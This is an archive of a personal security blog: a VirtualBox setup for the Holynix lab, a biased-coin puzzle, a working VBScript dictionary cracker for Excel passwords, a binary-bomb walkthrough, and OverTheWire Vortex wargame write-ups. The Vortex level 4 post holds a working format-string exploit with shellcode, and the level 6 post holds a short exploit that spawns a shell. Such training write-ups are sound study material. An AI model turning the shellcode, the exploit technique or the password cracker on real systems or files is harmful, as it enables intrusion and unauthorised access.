Pages

Friday, May 17, 2013

Troubleshooting network connectivity for Holynix on VirtualBox

Holynix is a "Linux vmware image that was deliberately built to have security holes for the purposes of penetration testing".  It has 2 levels and solutions are already published.  In this post I'll details my approach to set up network connectivity for the 2 Holynix VMs and another Backtrack VM, all running in VirtualBox.
After some unsuccessful attempts to make it run under VirtualBox and have connectivity, I decided to reset the root password and actually check and understand the network settings.

To reset the root password

  • I've first install VmWare Player on Ubuntu.
  • The open VM in VMWare player
         - Edit Virtual Machine Settings
         - Go to Hard Disk
         - Utilities (at the bottom)
         - Mount Disk and select the second ext partition
  • Make a copy of the /etc/shadow file
  • Delete the password hash of root from /etc/shadow
  • Start again the VM in VirtualBox and login as root without password!

Holynix Level 1

To have connectivity between this machine and the bt machine, I just added an internal network adapter and put Holynix VM in the same lan as bt machine
Then got an IP through DHCP server of the internal network (already configured!)
 # dhclient eth1
(or just apply the steps in next session to have eth0 instead eth1 and get IP automatically on eth0)

Holynix Level 2

First I've also removed root password.

Then for the network settings
  • Add holynix2 and bt to a new internal network
  • Holynix2 assigns static IP 192.168.1.88 on interface eth0 ! (Firewall rules seen when booting show eth0 also)
  • The /etc/network/interfaces  file contains the following:
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
    address 192.168.1.88
    netmask 255.255.255.0
    network 192.168.1.0
    broadcast 192.168.1.255
    gateway 192.168.1.1


But we just have eth1, not eth0 ?!
If we examine the kernel messages we see:
# dmesg | grep eth
...
udev: renamed network interface eth0 to eth1
..

The explanation for this is found on virtualbox forums:
[SOLVED]Missing eth0 in Ubuntu guest

Basically the problem is that each time a VBox guest has a new/different MAC, Debian and Ubuntu guests udev assigns a new eth number. By deleting that file, it is recreated correctly at the next reboot).

# cd /etc/udev/rules.d
# sudo mv 70-persistent-net.rules 70-persistent-net.rules_old
# sudo reboot


After the reboot, eth0 will be present and configured properly.



For the Bbacktrack machine, we'll configure the interface that's in the same internal network as Holynix 2 VM:
# ifconfig eth4 down
# ifconfig eth4 192.168.1.1 netmask 255.255.255.0
# ifconfig eth4 up


Now check that we have connectivity between bt and holynix machines and happy hacking !

Monday, April 1, 2013

Fair result with biased coin

 This is a nice short question: How can you get fair results from tossing a biased coin ? (but not completely biased though, with a side having 0 probability!). The solution given by von Neumann is as follows:
  1.     Toss the coin twice.
  2.     If the results match, start over, forgetting both results.
  3.     If the results differ, use the first result, forgetting the second.

This produces the correct result because even with this biased coin, the probability of heads then tails is equal to the probability of getting tails then heads. So out of the 4 possible events (H-T, H-H, T-H, T-T) we are left with 2 events with the same probability.

I made a small python script to see how many tries are needed as the probability of the biased faces varies away from 0.5
# Biased coin probability to get heads
p = 0.7

# Simulate the bias
N = 1000000
random.seed()
v = [0] * int(N * p) + [1] * int(N * (1-p))
random.shuffle(v)

# Fair events
cnt = 0
# Total events
ev = 0
 
while cnt<200: 
    idx1 = random.randint(0, N-1)
    idx2 = random.randint(0, N-1)
    
    if(v[idx1] != v[idx2]): 
        cnt +=1 
    ev += 1
    
# For p = 0.5 ev ~= cnt*2     
print "Events needed to get X fair tosses: %d" % (ev)

References
Fair results from a biased coin

Saturday, March 2, 2013

Dictionary attack on Excel passwords

When thinking about the security of encrypted Excel documents, I found a great article analyzing security of encryption algorithms for Excel spreadsheets [1]. The bottom line is that:
  • Encryption in Excel 2007 IS secure only for ".docx". For ".doc" it's NOT secure with default settings
  • Encryption in Excel 2002 and 2003 IS secure, but NOT when used with default settings!
  • Encryption in Excel 95, 97 and 2000 is NOT secure at all.
Instructions on how to make sure you're using the most secure algorithms and how to change the default settings in the referenced link.

How to set/change password to open and password to modify
Changing/removing the password to open a file is pretty straight-forward in Excel 2007-2010: from the File menu, chose Info, then Encrypt with password. 
Changing the password to modify I found is not so straight-forward. To set/remove a "read-only" password, from the Save or Save As dialog boxes, select General Options from the Tools drop-down menu to open the General Options dialog box. There, in the Password to modify box, you can enter the new password or blank to remove the current one. 

Dictionary attack
If the password is a dictionary word, then it's pretty easy to find it. I've made a small vbs script to attack these 2 passwords (password to open and password to modify)  using words from a dictionary file. This could also be extended to something like the rules in jtr to intelligently guess/brute-force more passwords, based on tendencies (e.g. KoreLogic John rules [3]).
It's just a proof of concept, and it's very slow, it could be extended to use more threads or optimized.
' *****************************************************************
' Dictionary attack on Excel passwords
'
' Uses Workbooks.open method and a password dictionary to test:
' 1) password to open 
' 2) password for write access, using open password
'
' Usage: "CScript excel-pw-attack.vbs  "
'
' Full Description:
' http://insecure.tk/......
' *****************************************************************
Option Explicit
On Error Resume Next

Dim objExcel
Set objExcel = WScript.CreateObject("Excel.Application")
objExcel.visible=False

Dim args
if WScript.Arguments.Count < 2 or WScript.Arguments.Count > 3 then
   WScript.Echo "Usage: "
   WScript.Echo "Search password for open: "
   WScript.Echo "   CScript " & WScript.ScriptName & "  "
   WScript.Echo "Search password for modify, using password to open: "
   WScript.Echo "   CScript " & WScript.ScriptName & "   "
   WScript.Quit 1
end if

' Excel file should be in the script's directory
Dim xlsFile, currentPath
currentPath = replace(WScript.ScriptFullName, WScript.ScriptName, "")
xlsFile = currentPath & WScript.Arguments(0)
WScript.Echo "Brute-forcing excel file: " & xlsFile
WScript.Echo "Using dictionary file: " & WScript.Arguments(1)
if WScript.Arguments.Count = 3 then
 WScript.Echo "Using open password " & WScript.Arguments(2) & " to get the write password"
end if

' Read the passwords from the dictionary file
Dim objFSO
Set objFSO = CreateObject("Scripting.FileSystemObject")

Dim objFile
Const ForReading = 1
Set objFile = objFSO.OpenTextFile(currentPath & WScript.Arguments(1), ForReading)

Dim currLine, bFound
bFound = False
While Not bFound And Not objFile.AtEndOfStream
 currLine = objFile.ReadLine
 WScript.Echo "[*] Testing solution " & currLine
 if WScript.Arguments.Count = 3 then
  objExcel.Workbooks.Open xlsFile, , , , WScript.Arguments(2), currLine
 else
  ' Try to open it in read-only mode
  objExcel.Workbooks.Open xlsFile, ,True , , currLine
 end if
 if Err.Number >  0 then
  'WScript.Echo Err.Description & Err.Number
  Err.Clear
 else
  bFound = True
  if WScript.Arguments.Count = 3 then
   WScript.Echo "[+] Found password for modifying: " & currLine
  else
   WScript.Echo "[+] Found password for opening: " & currLine
  end if
 end If
Wend

if not bFound then
 if WScript.Arguments.Count = 3 then
  WScript.Echo "[-] Not found password for modifying."
 else
  WScript.Echo "[-] Not found password for opening."
 end if
end if


objExcel.Workbooks.Close
objFile.close
An example of how to use it on a test document with these 2 passwords set:
1. Find password to open:
>cscript excel-pw-attack.vbs test.xls words_en.txt
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.

Brute-forcing excel file: C:\...\test.xls
Using dictionary file: words_en.txt
[+] Found password for opening: rock
2. Find password to modify:
>cscript excel-pw-attack.vbs test.xls words_en.txt rock
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.

Brute-forcing excel file: C:\...\test.xls
Using dictionary file: words_en.txt
Using open password rock to get the write password
[+] Found password for modifying: paper


Wednesday, February 6, 2013

Defusing a (binary) bomb

     This very good x86 assembly training has a nice final exercise which is a job to defuse  a binary bomb - an executable, without source code, with more phases, each one needing a password.
     I understand that there are many variants of this bomb, so my answer won't fit every bomb, but anyway it's a spoiler, be aware!
     Each level introduces also a programming construction (simple string manipulations, array, functions, cases, linked lists, trees...) so it's very interesting to actually do them and understand them.
    The long version of the solutions is at this project.  The short version below.
I've created a file with commands for easy debugging, and started the bomb like this:

$ gdb -q -x commands bomb
(gdb) run bomb-answers.txt

Phase 1
Here there's a simple string comparison in place
The two strings are compared:
- first one is our input string for the first phase:
(gdb) x /x $ebp+0x8
0xbffff440: 0x0804b680
(gdb) x /s 0x0804b680
0x804b680 &lt;input_strings>: "test"
- and second one is the password for phase_1:
(gdb) x/s 0x80497c0
0x80497c0:    "Public speaking is very easy."

Phase 2
Now 6 numbers are read from into an array, and an algorithm is applied  as follows:
v[0] = 1
v[i] = (i+i) * v[i-1]
So we find the solution of phase 2:
1 2 6 24 120 720

Phase 3
 This expects as input a number, a character and another number:
   0x08048bb1 &lt;+25>: push   0x80497de --> the format string for sscanf, "%d %c %d"
   0x08048bb6 &lt;+30>: push   edx
   0x08048bb7 &lt;+31>: call   0x8048860 &lt;sscanf@plt>
The rest of the disassembled instructions are a case structure, which checks the letter and the second number based on the first value

Phase 4
This phase is more interesting. It introduces a recursive function, which in the end turns out to be a much known one. A-Ha! 
Func4 is as follows:
func4(x):
 if x &lt;= 1 :
  return 1;
 else :
  y = func4(x-1);
  z = func4(x-2);
  return y + z;

Phase 5
In this phase, the input password string is parsed character by character, and each parsed character gives an index into an input string. This way,  final password has to be constructed. 

We have to form the password 'giants' from the source string "isrveawhobpnutfg".
phase_5 function should be something like:
phase_5(s) {
 src = "isrveawhobpnutfg";
 dest = "12345";
 
 for (i=0; i&lt;=5; ++i) {
  idx = s[i] && 0xf; // cuts the most significant hex digit
  dest[i] = src[idx];
 }
}

Phase 6
This was the most difficult to figure out from the assembly code, as it's split into more stages, and involves linked lists structures. Complete details are in the link from beginning. 
6 numbers are read. There is a predefined linked list also. Another important variable used is an array containing addresses of list elements. 
- stage1: check that all 6 numbers read are between [1,..,6] and all different
- stage2: builds and arranges a second array with pointers to list elements
- stage3: fixes the links between elements from the input list to match the array constructed in stage2
- stage4: checks that the elements of the linked list are in reverse sorted order. 

The second stage is the most important: we have to arrange the values of the list elements, so that we can pass stage 4 check (should be in reverse order).
Current order :
func4(x):
(gdb) printf "%08x %08x %08x %08x %08x %08x \n", *0x0804b26c, *0x0804b260, *0x0804b254, *0x0804b248, *0x0804b23c, *0x0804b230
000000fd 000002d5 0000012d 000003e5 000000d4 000001b0 
The pseudo-code for this step could be something like:
   // 2nd stage
 i = 0
 ecx = v[0]
 eax = v2
 y = v2
 while i&lt;=5 : 
  elem = list_head
  elem = head
  j = 1
  edx = i
  if ( j &lt; v[i] ):
   do {
    elem = elem.next
    j ++
   }while (j &lt; v[i])
  v2[i] = elem
  i++
  
This stage builds a list of pointers to elements, which is used in stage 3 and 4.
Using the previously deduced agorithm, the input numbers (0
which mean how much we move an element, to have them in reverse order, should be:
pos 1: 3 (head->next->next->next which is the biggest num)
pos 2: 1 (head->next, which is the second biggest )
. . . and so on.

Because of the advancing algorithm, we add 1 to the previous, and get the solution: 4 2 6 3 1 5

Secret Phase 
In the phase_difused function, we have another function called secret_phase, activated only after first stages are difused:
0x08049533 &lt;+7>: cmp    DWORD PTR ds:0x804b480,0x6    
0x0804953a &lt;+14>: jne    0x804959f &lt;phase_defused+115> 

The passphrase from phase 4 is parsed again, now looking for a string. As we see below, we can get that string and advance:
0x08049544 <+24>: push   0x8049d03   --> "%d %s"    
0x08049549 <+29>: push   0x804b770   --> "9"  this is the input from phase_4    
0x0804954e <+34>: call   0x8048860 <sscanf@plt>    
0x08049553 <+39>: add    esp,0x10    
0x08049556 <+42>: cmp    eax,0x2    
0x08049559 <+45>: jne    0x8049592 <phase_defused+102>    
0x0804955b <+47>: add    esp,0xfffffff8    
0x0804955e <+50>: push   0x8049d09  --> "austinpowers"
0x08049563 <+55>: push   ebx    
0x08049564 <+56>: call   0x8049030 <strings_not_equal> 

We add the password "austinpowers" and get the following 2 messages printed:
Curses, you've found the secret phase!
But finding it and solving it are quite different...  
The secret_phase function calls another function, fun7 (very fun:) with an address and our input as a second parameter.

After digging int othe disassebly, the last fun7 is something like this:
int fun7(int *adr, int x) {
  if(adr == NULL) {
  ret = -1;  // 0xffffffff   
  goto exit;  
 }  
 if (x >= *adr) {
  if (x == *adr) {
   ret = 0   
  } else {
   ret = fun7(*(adr+8), x)
    ret *= 2;
    ret ++;
  }  
 } else {
  ret = fun7(*(adr+4), x)
   ret *= 2
 }  
exit:   
 return ret; 
} 
Initial address passed to the function is 0x804b320. At this address there is a tree with 4 levels, as below. We navigate to the left or right branch depending on the input value.  If input x is equal to value in branch, we return 0.
0x24
0x8 0x32
0x6 0x16 0x2d 0x6b
................................. 0x3e9
We want fun7() to return 7.

7 = 2*3+1 = 2*(2*1+1)+1.
According to the tree and deduced algorothm, we have:
f(0x24) = 0
f(0x32) = 2*f(0x24)+1 = 1
f(0x6b) = 2*f(0x32)+1 = 3
f(0x3e9) = 2*f(0x6b)+1 = 7

0x3e9 is 1001 decimal, and is accepted by the first check (param-1 <= 1000).

End
# ./bomb bomb-answers.txt

Welcome to my fiendish little bomb. You have 6 phases with which to blow yourself up. Have a nice day!
Phase 1 defused. How about the next one?
That's number 2. Keep going!
Halfway there!
So you got that one. Try this one.
Good work! On to the next...
Curses, you've found the secret phase!
But finding it and solving it are quite different...
Wow! You've defused the secret stage!
Congratulations! You've defused the bomb!
    Thanks to the guys at Open Security Trainings for the interesting materials there!

Thursday, September 20, 2012

OverTheWire Vortex Level 6

For this level, just the binary is available, not the source code. First, we'll download it and study it locally with gdb.
(gdb) set disassembly-flavor intel
(gdb) disassemble main 
Dump of assembler code for function main:
   0x08048446 <+0>: push   ebp
   0x08048447 <+1>: mov    ebp,esp
   0x08048449 <+3>: and    esp,0xfffffff0
   0x0804844c <+6>: sub    esp,0x10
   0x0804844f <+9>: mov    eax,DWORD PTR [ebp+0x10]
   0x08048452 <+12>: mov    eax,DWORD PTR [eax]
   0x08048454 <+14>: test   eax,eax
   0x08048456 <+16>: je     0x8048465 
0x08048458 <+18>: mov eax,DWORD PTR [ebp+0xc] 0x0804845b <+21>: mov eax,DWORD PTR [eax] 0x0804845d <+23>: mov DWORD PTR [esp],eax 0x08048460 <+26>: call 0x8048424 <restart> 0x08048465 <+31>: mov eax,DWORD PTR [ebp+0x10] 0x08048468 <+34>: add eax,0xc 0x0804846b <+37>: mov eax,DWORD PTR [eax] 0x0804846d <+39>: mov DWORD PTR [esp],eax 0x08048470 <+42>: call 0x8048354 <printf@plt> 0x08048475 <+47>: mov DWORD PTR [esp],0x7325 0x0804847c <+54>: call 0x8048334 <_exit@plt> End of assembler dump. (gdb) disassemble restart Dump of assembler code for function restart: 0x08048424 <+0>: push ebp 0x08048425 <+1>: mov ebp,esp 0x08048427 <+3>: sub esp,0x18 0x0804842a <+6>: mov DWORD PTR [esp+0x8],0x0 0x08048432 <+14>: mov eax,DWORD PTR [ebp+0x8] 0x08048435 <+17>: mov DWORD PTR [esp+0x4],eax 0x08048439 <+21>: mov eax,DWORD PTR [ebp+0x8] 0x0804843c <+24>: mov DWORD PTR [esp],eax 0x0804843f <+27>: call 0x8048344 @lt;execlp@plt> 0x08048444 <+32>: leave 0x08048445 <+33>: ret End of assembler dump. (gdb)
After the function prologue and aligning stack pointer to 4-byte boundary, 16 bytes are subtracted from ESP to make room for local variables. Throughout the code of main function, there are references to 2 locations we need to understand: (ebp+0x10) and (ebp+0x0c). This article explains basics about stack frames, and the next one details also the stack layout. The stack layout before calling the main function looks like this:
:    :
|    | [ebp + 16] (env - address of env array)
|    | [ebp + 12] (argv - address of argv array)
|    | [ebp + 8]  (argc - number of arguments passed to main)
|    | [ebp + 4]  (return address)
|    | [ebp]      (old ebp value)
|    | [ebp - 4]  (1st local variable)
:    :
:    :

We can quickly verify this with the following wrapper program, that runs a target program with different arguments. This thread shows a way to read registers (ebp in our case) with inline assembly from C code compiled with GCC.
#include <stdio .h>

int main() {
    register int ebp asm("ebp");    
    
    char **env = *(char***)(ebp + 16);
    char **argv = *(char ***)(ebp + 12);
    int argc = *(int*)(ebp + 8);
    
    printf("[EBP + 16] - First element of env[] array: %s\n", env[0]);
    printf("[EBP + 12] - First element of argv[] array: %s\n", argv[0]); 
    printf("[EBP +  8] - Number of arguments (argc): %d\n", argc);
}
And the test wraper:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char* argv[]) {

    char* arg[] = {"ARG0", "ARG1", "ARG2", "ARG3", "ARG4", "ARG5", NULL};
    char* env[] = {"ENV0", "ENV1", "ENV2", "ENV3", NULL};

    execve("./layout",arg,env);
}
So we have:
# gcc layout.c -o layout
# gcc wrap.c -o wrap
# ./wrap 
[EBP + 16] - First element of env[] array: ENV0
[EBP + 12] - First element of argv[] array: ARG0
[EBP +  8] - Number of arguments (argc): 6
# 
Based on that, we see that the vortex6 binary checks the first environment variable, and if it's not NULL executes restart function with argv[0] as parameter. We see that reconstruct() function calls execlp, with first2 arguments the value from **(ebp+8), and the third one NULL. When calling restart function, the stack looks like this:
:    :
|    | [ebp + 12] (2nd argument)
|    | [ebp + 8]  (1st argument)
| RA | [ebp + 4]  (return address)
| FP | [ebp]      (old ebp value)
|    | [ebp - 4]  (1st local variable)
So wee see that at (ebp + 8) we have its first argument, which is in fact argv[0]. Basically the reconstructed function is:
void restart(char *s) {
    execlp(s,s,NULL);
}
After reconstructing the whole functionality, it's easy to exploit the binary using a simple python wrapper:
import subprocess

argv = ['/bin/sh']

p = subprocess.Popen(argv, executable = './vortex6.bin')        
p.wait()
And tada..
vortex6@melissa:~$ python /tmp/myl6.py
$ id
uid=5006(vortex6) gid=5006(vortex6) euid=5007(vortex7) groups=5007(vortex7),5006(vortex6)
$ cat /etc/vortex_pass/vortex7
*****
References:
  1. x86 Disassembly/Functions and Stack Frames


Tuesday, September 18, 2012

OverTheWire Vortex Level 5

This level is a brute-force over a 5 chars MD5 hash. We get the hash from the source code - it is 155fb95d04287b757c996d77b5ea51f7, and with a quick search online, we get the corresponding plain text - rlTf6.
There are lots of online services to crack md5, and there's also Project RainbowCrack which uses the Time-Memory trade-off.
After getting the plain text we can get to the shell:
vortex5@melissa:/vortex$ ./vortex5 
Password: 
6:36
You got the right password, congrats!
$ cat /etc/vortex_pass/vortex6
*****

OverTheWire Vortex Level 4

This level looks like a simple 3 lines program. It's a common format string vulnerability (great references on how to exploit in [1], [3] and [5]):
int main(int argc, char **argv)
{
 if(argc) exit(0);
 printf(argv[3]);
 exit(EXIT_FAILURE);
}
1. First there's a check to bypass: the program exits if the argc variable is different than 0 (if(argc) exit(0);). argc variable represents the length of argv array, which has on the first position the program name (the name appearing on top and like utilities, for example). So argc is always >=1.
If we know how arguments (and environment variables) are passed to the main function when executing the binary,  we can bypass the verification and also pass something meaningful to printf in argv[3] argument.  The stack looks like this:
| argc | argv[0] | argv[1] ... |argv[argc-1]| NULL |env[0]|...|env[n]|NULL|
Where the first NULL indicates the end of the argv array, and the second one the end of the environment variables array. So if we pass NULL as the argv array, when the program tries to access argv[3], it will in fact access env[2], because the stack would look like this (argv[0] points to the NULL byte):
| 0 | NULL | env[0] | env[1] | env[2] | ...
In Python I couldn't call one of the exec functions with argv set to NULL, so I've used the classic method:
char exe[] = "/vortex/vortex4";

char* argv[] = { NULL }; 
char* env[] = {"env0", "env1", "TEST", NULL};

execve(exe, argv, env);
2.  Now we know we have to pass the format string attack into an environment variable. We have to find out the approximate location of the environment variables in the memory. The vortex labs machine has ASLR disabled. We can test with and without ASLR to see the variation of the environment variables' address, using the following simple program:
/* 
 * Test program to find the location of envirnment variables on stack.
 *  - test with/without ASLR
 * 
 * To disable ASLR: 
 * echo 0 > /proc/sys/kernel/randomize_va_space
 * 
 * To enable ASLR:
 * echo 2 > /proc/sys/kernel/randomize_va_space
 * 
 */

#include <stdio .h>

extern char **environ;

/* Return the current stack pointer */
unsigned long find_esp(void){
 // Copy stack pointer into EAX
    __asm__("mov %esp, %eax");
    
    // Return value of the function is in EAX
}

int  main() {
 char **env = NULL;
 
    for (env = environ; *env; ++env)
        printf("%p:\t%s\n", env, *env);

    unsigned long p = find_esp(); 
    printf ("Current stack pointer: Ox%lx\n" , p) ;
        
    return 0;
}

3. We decide an address to overwrite to change the flow of the program. We can use the same trick as in the previous level: replace the address of exit() function in .plt (which is called at the end of the program), which we find by searching relocations sections in the binary:
vortex4@melissa:/vortex$ readelf -r ./vortex4
...
Relocation section '.rel.plt' at offset 0x294 contains 4 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0804a000  00000107 R_386_JUMP_SLOT   00000000   __gmon_start__
0804a004  00000207 R_386_JUMP_SLOT   00000000   __libc_start_main
0804a008  00000307 R_386_JUMP_SLOT   00000000   printf
0804a00c  00000407 R_386_JUMP_SLOT   00000000   exit
4. Plan: place a shellcode (I've used the same 32 bytes I've used in the previous level, setuid+execve) in  the environment variable, with a big NOP sled before (I've used 500 bytes). In the format string before, try to overwrite the address we found above, 0x0804a00c (which I've actually replaced in 4 bytes: 0x0804a00c, 0x0804a00d, 0x0804a00e, 0x0804a00f. A method to overwrite it with only 2 replaces instead of 4 is described in the referred documentation).
This was actually the harder part. I've made a python wrapper over the C wrapper containing execve instruction, that passes (and finally brute-forces) different format strings.
A good exercise is first to try to read memory (using %x or %s instead of %n for writing), to find the actual position of the format string on the stack. This will actually be quite different than the examples from [1]. I actually found that I needed 106 bytes to get to the format string on the stack.
A trick that can be used here: direct parameter access in printf ($), detailed in the Single Unix Specification ([4]). For me, I could access the format string with the following parameter:
fmt = "AAAABBBBCCCCDDDD..." + "%106$x%107$x%108$x%109$x"
I've adjusted it with fillers ('.'), and tuned the offset untl reach the correct one, 106.
The python script mentioned:
import subprocess

''' 
Script to pass the format string and address to be overwritten to
the vortex 4 wrapper binary
'''

# 4 bytes to be modified (address of exit() in .plt - 0x0804a00c)
addr =  "\x0c\xa0\x04\x08" + \
        "\x0d\xa0\x04\x08" + \
        "\x0e\xa0\x04\x08" + \
        "\x0f\xa0\x04\x08"

# Read it, after many trial and errors
#fmt = "AAAABBBBCCCCDDDD..." + "%106$x%107$x%108$x%109$x"

for i in range(1, 255):
        for j in range(1, 255):
                fmt = addr + "...." + \
                "%106$n%5$0" + str(i) + "d" + \
                "%107$n%5$0" + str(j) + "d" + \
                "%108$n" + \
                "%109$n"
                print "%d %d fmt: %s: " % (i, j, fmt)
                p = subprocess.Popen(['/tmp/myl4', fmt])
                
                p.wait()
                # Ctrl-D to continue

5. And the C wrapper with execve over vortex4 binary:
/*
 * Wrapper over vortex 4 binary: 
 *  - byapss first argc check
 *  - pass shellcode in environment variable
 *  - receive format string from python wrapper (.. easier) 
 */

#include <stdio .h>
#include <string .h>

/* 32 bytes setuid(0) + execve("/bin/sh",["/bin/sh",NULL]); */
char shellcode[] = "\x6a\x17\x58\x31\xdb\xcd\x80\x31\xd2\x6a\x0b\x58\x52" 
        "\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53" 
        "\x89\xe1\xcd\x80";

char padding[500];
char NOP = '\x90';
int nops = 500;

int main(int argc, char **args) {
 char exe[] = "/vortex/vortex4";
 char sh[600] = {0};
 
 // Fill with lots of NOPs to make sure we reach the shellcode
 memset(padding, NOP, nops);
 
 memcpy(sh, padding, nops);
 memcpy(sh+nops, shellcode, strlen(shellcode));
 
 // argc wil be 0, because argv[0] is not set
 char* argv[] = { NULL }; 
 char* env[] = {"env0", "env1", args[1], sh, NULL};

 execve(exe, argv, env);
 
 return 0;
}
6. Putting all together we get the pass:
vortex4@melissa:/tmp$ vim myl4.c
vortex4@melissa:/tmp$ vim myl4.py
vortex4@melissa:/tmp$ gcc -o myl4 myl4.c
vortex4@melissa:/tmp$ python myl4.py
...
202 33 fmt: 
���....%106$n%5$0202d%107$n%5$033d%108$n%109$n: 
$ id
uid=5004(vortex4) gid=5004(vortex4) euid=5005(vortex5) groups=5005(vortex5),5004(vortex4)
$ cat /etc/vortex_pass/vortex5
*****
Reading:
  1. Exploiting Format String Vulnerabilities - version 1.2 (team teso)
  2. Another solution and explanation
  3. Great detailed explanation of format string vulnerabilities, stackoverflow
  4. Format strings in printf - Single UNIX Specification
  5. Advances in format string exploitation
  6. My solution files